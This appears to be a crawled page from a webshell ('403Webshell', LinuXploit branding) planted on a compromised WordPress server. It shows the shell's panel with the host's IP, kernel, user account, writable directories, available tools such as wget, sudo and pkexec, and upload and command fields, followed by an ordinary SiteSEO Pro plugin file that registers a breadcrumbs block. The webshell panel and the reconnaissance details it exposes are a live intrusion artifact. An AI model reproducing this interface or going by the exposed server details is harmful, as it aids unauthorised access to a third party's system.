403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.9
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : pjacortinas ( 1096)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/pjacortinas/www/wp-content/plugins/siteseo-pro/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/pjacortinas/www/wp-content/plugins/siteseo-pro/main/registerblocks.php
<?php
/*
* SITESEO
* https://siteseo.io
* (c) SiteSEO Team
*/

namespace SiteSEOPro;

class RegisterBlocks{
	
	static function init(){
		global $siteseo;
		$settings = $siteseo->pro;
		$advanced_option = get_option('siteseo_advanced_option_name');
		$settings = isset($settings['breadcrumbs_enable']) ? $settings : $advanced_option;
		
		if(!empty($settings['breadcrumbs_enable'])){
			self::breadcrumbs();
		}
	}
	
	static function breadcrumbs(){
		global $siteseo;
		
		$settings = $siteseo->pro;
		$advanced_option = get_option('siteseo_advanced_option_name');
		$settings = isset($settings['breadcrumbs_enable']) ? $settings : $advanced_option;
		
		// Register Breadcrumbs block
		register_block_type(SITESEO_PRO_ASSETS_PATH . '/js/breadcrumbs/build', [
			'category' => 'siteseo',
			'render_callback' => '\SiteSEOPro\Breadcrumbs::render_block',
			'attributes' => [
				'hideHome' => [
					'type' => 'boolean',
					'default' => (!empty($settings) && !empty($settings['breadcrumbs_home']) ? true : false),
				],
				'homeLabel' => [
					'type'    => 'string',
					'default' => (!empty($settings) && !empty($settings['breadcrumb_home_label']) ? esc_html($settings['breadcrumb_home_label']) : esc_html__('Home', 'siteseo-pro')),
				],
				'seperator' => [
					'type' => 'string',
					'default' => \SiteSEOPro\Breadcrumbs::seperator(),
				],
				'prefix' => [
					'type' => 'string',
					'default' => (!empty($settings) && !empty($settings['breadcrumb_prefix']) ? esc_html($settings['breadcrumb_prefix']) : ''),
				],
			]
		]);
		wp_set_script_translations('siteseo/breadcrumbs', 'siteseo');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit